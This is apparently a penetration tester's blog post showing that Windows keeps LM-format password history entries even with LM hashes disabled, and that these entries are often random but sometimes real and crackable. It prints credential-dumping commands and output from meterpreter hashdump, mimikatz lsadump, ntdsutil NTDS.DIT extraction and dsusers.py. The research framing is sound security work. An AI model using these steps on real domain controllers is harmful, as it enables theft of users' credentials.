When LanMan history reveals the present and future, but might just be lying to you
By Stuart Morgan on 16 March, 2016
It seems that Windows stores password histories in LanMan format, even when LanMan hashes are specifically disabled by group policy. However, they may not be “real”.
So https://support.microsoft.com/en-us/kb/299656 has been followed on a fully patched Windows 2008 Domain Controller (the only domain controller on the domain). A suitable password group policy has been configured which is set to:
- Require a minimum length of 12 characters
- Complexity enabled
- LM hashes not stored
This screenshot (from the domain controller) confirms the group policy:

A new user is added to the domain and told to change their password on first logon:
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>net user demo.mwr "DeM0Pa$$w0rd!" /add
The command completed successfully.
C:\Windows\system32>net user demo.mwr /domain
User name demo.mwr
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 23/12/2015 11:50:48
Password expires 03/02/2016 11:50:48
Password changeable 24/12/2015 11:50:48
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users
The command completed successfully.
C:\Windows\system32>
An attacker then gains domain administrator access on the domain controller and dumps the hashes, before the user has logged on for the first time. As expected, the LM hash is not stored:
meterpreter > hashdump
demo.mwr:1138:aad3b435b51404eeaad3b435b51404ee:1e792901cf81390820a7b212e9b978b4:::
meterpreter >
This is confirmed using mimikatz:
mimikatz # lsadump::lsa /name:demo.mwr /inject
Domain : GOAT / S-1-5-21-3412564525-2340160142-3008032522
RID : 00000472 (1138)
User : demo.mwr
* Primary
LM :
NTLM : 1e792901cf81390820a7b212e9b978b4
NTDS.DIT was then retrieved using Cyberis’ instructions (http://blog.cyberis.co.uk/2014/02/obtaining-ntdsdit-using-in-built.html) and decoded using esedbexport and dsusers.py:
C:\>ntdsutil
ntdsutil: activate instance ntds
Active instance set to "ntds".
ntdsutil: ifm
ifm: create full c:\mwr
Creating snapshot...
Snapshot set {7fe65f57-16e7-441c-9ae5-9cde8cd421ae} generated successfully.
Snapshot {77f86fc0-cdcc-490b-8637-6c0b6b9cb273} mounted as C:\$SNAP_201512231218
_VOLUMEC$\
Snapshot {77f86fc0-cdcc-490b-8637-6c0b6b9cb273} is already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_201512231218_VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: c:\mwr\Active Directory\ntds.dit
Defragmentation Status (% complete)
0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................
Copying registry files...
Copying c:\mwr\registry\SYSTEM
Copying c:\mwr\registry\SECURITY
Snapshot {77f86fc0-cdcc-490b-8637-6c0b6b9cb273} unmounted.
IFM media created successfully in c:\mwr
ifm: quit
ntdsutil: quit
$ esedbexport "Active Directory/ntds.dit" ntds
esedbexport 20150409
Opening file.
Exporting table 1 (MSysObjects) out of 11.
Exporting table 2 (MSysObjectsShadow) out of 11.
Exporting table 3 (MSysUnicodeFixupVer2) out of 11.
Exporting table 4 (datatable) out of 11.
Exporting table 5 (hiddentable) out of 11.
Exporting table 6 (link_table) out of 11.
Exporting table 7 (quota_rebuild_progress_table) out of 11.
Exporting table 8 (quota_table) out of 11.
Exporting table 9 (sdpropcounttable) out of 11.
Exporting table 10 (sdproptable) out of 11.
Exporting table 11 (sd_table) out of 11.
Export completed.
$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 hashes --syshive Registry/SYSTEM --pwdformat ophc --ntoutfile demo.hashes.nt --lmoutfile demo.hashes.lm --name demo.mwr --passwordhistory --passwordhashes
[+] Started at: Wed, 23 Dec 2015 12:28:21 UTC
[+] Started with options:
[-] Hash output format: ophc
[-] NT hash output filename: demo.hashes.nt
[-] LM hash output filename: demo.hashes.lm
[-] User name: demo.mwr
[-] Extracting password history
[-] Extracting password hashes
[+] Initialising engine...
[+] Loading saved map files (Stage 1)...
[+] Loading saved map files (Stage 2)...
List of users:
==============
Record ID: 3838
User name: demo.mwr
User principal name:
SAM Account name: demo.mwr
SAM Account type: SAM_NORMAL_USER_ACCOUNT
GUID: c8dd1e49-04fa-40b6-bf8c-6201c5b172c0
SID: S-1-5-21-3412564525-2340160142-3008032522-1138
When created: 2015-12-23 11:50:48+00:00
When changed: 2015-12-23 12:06:19+00:00
Account expires: Never
Password last set: 2015-12-23 11:50:48.925372+00:00
Last logon: 2015-12-23 12:06:19.565997+00:00
Last logon timestamp: 2015-12-23 12:06:19.565997+00:00
Bad password time Never
Logon count: 1
Bad password count: 0
Dial-In access perm: Controlled by policy
User Account Control:
NORMAL_ACCOUNT
Ancestors:
$ROOT_OBJECT$, stu, goat, Users, demo.mwr
Password hashes:
demo.mwr:::1e792901cf81390820a7b212e9b978b4:S-1-5-21-3412564525-2340160142-3008032522-1138::
Password history:
The user now changes their password after logging on and the NTDS.DIT acquisition is repeated.
List of users:
==============
Record ID: 3838
User name: demo.mwr
User principal name:
SAM Account name: demo.mwr
SAM Account type: SAM_NORMAL_USER_ACCOUNT
GUID: c8dd1e49-04fa-40b6-bf8c-6201c5b172c0
SID: S-1-5-21-3412564525-2340160142-3008032522-1138
When created: 2015-12-23 11:50:48+00:00
When changed: 2015-12-23 12:38:10+00:00
Account expires: Never
Password last set: 2015-12-23 12:38:10.362872+00:00
Last logon: 2015-12-23 12:38:11.831622+00:00
Last logon timestamp: 2015-12-23 12:06:19.565997+00:00
Bad password time 2015-12-23 12:30:58.690997+00:00
Logon count: 16
Bad password count: 0
Dial-In access perm: Controlled by policy
User Account Control:
NORMAL_ACCOUNT
Ancestors:
$ROOT_OBJECT$, stu, goat, Users, demo.mwr
Password hashes:
demo.mwr:::9f79e0c9036a9634ff4c4e2a8279d286:S-1-5-21-3412564525-2340160142-3008032522-1138::
Password history:
demo.mwr_history0::bcb4883a1ac0830d47b903f5e0b569c1:9f79e0c9036a9634ff4c4e2a8279d286:S-1-5-21-3412564525-2340160142-3008032522-1138::
demo.mwr_history1::5f6e507bccedc00f02ce31f386b7b30c:1e792901cf81390820a7b212e9b978b4:S-1-5-21-3412564525-2340160142-3008032522-1138::
Notice that the _history0 hash is the same as the current user hash.
Changing the password again reveals this:
List of users:
==============
Record ID: 3838
User name: demo.mwr
User principal name:
SAM Account name: demo.mwr
SAM Account type: SAM_NORMAL_USER_ACCOUNT
GUID: c8dd1e49-04fa-40b6-bf8c-6201c5b172c0
SID: S-1-5-21-3412564525-2340160142-3008032522-1138
When created: 2015-12-23 11:50:48+00:00
When changed: 2015-12-23 12:56:54+00:00
Account expires: Never
Password last set: 2015-12-23 12:56:53.973985+00:00
Last logon: 2015-12-23 12:56:54.958360+00:00
Last logon timestamp: 2015-12-23 12:06:19.565997+00:00
Bad password time 2015-12-23 12:30:58.690997+00:00
Logon count: 21
Bad password count: 0
Dial-In access perm: Controlled by policy
User Account Control:
NORMAL_ACCOUNT
Ancestors:
$ROOT_OBJECT$, stu, goat, Users, demo.mwr
Password hashes:
demo.mwr:::d33389853b9302f522425b74531bcdef:S-1-5-21-3412564525-2340160142-3008032522-1138::
Password history:
demo.mwr_history0::dee15423a1ba251b0d184d73dfdb4a1b:d33389853b9302f522425b74531bcdef:S-1-5-21-3412564525-2340160142-3008032522-1138::
demo.mwr_history1::696fd108b6fefc8c0c961377aa01fcef:9f79e0c9036a9634ff4c4e2a8279d286:S-1-5-21-3412564525-2340160142-3008032522-1138::
demo.mwr_history2::2c93e402895c197427b8b759f2fdbd6e:1e792901cf81390820a7b212e9b978b4:S-1-5-21-3412564525-2340160142-3008032522-1138::
Notice that the “LM hash” column has completed changed from the last acquisition; the NTLM hashes have remained the same but the LM ones have changed. This is because they are not LM hashes – if LM storage is switched off, the contents of this field appear to be random.
If LM hashes are switched on and the target company find out about it, they will often turn LM hashes off and then tell everyone to reset their credentials. However, this does not remove the history LM hashes, and these ones will be ‘real’ LM hashes.
On a recent real test, the client had disabled LM hashes and forced a password change, meaning that _history0’s LM hash was invalid and there was no LM hash for the current password. However, cracking the previous history LM hashes using ophcrack revealed a clear and obvious pattern:

It was not difficult to guess what the user’s actual password was.
So in summary, always obtain password history hashes. LM hashes will appear to be present; they may be real or may just be random. Don’t be disheartened if they don’t crack using rainbow tables, but be mindful that some will be real and some won’t be and there isn’t an easy way to tell just by looking. If they appear to “change” when the history changes, they are almost certainly invalid.
Many organisations have password histories turned on and, during the last few engagements in which I have obtained NTDS.DIT, it has been interesting to observe the number of people that use password sequencing to avoid the mental issues associated with constantly rotating passwords and is often a good way of illustrating the limitations of technical controls and the benefits of client education as an adjunct to the policies already enforced.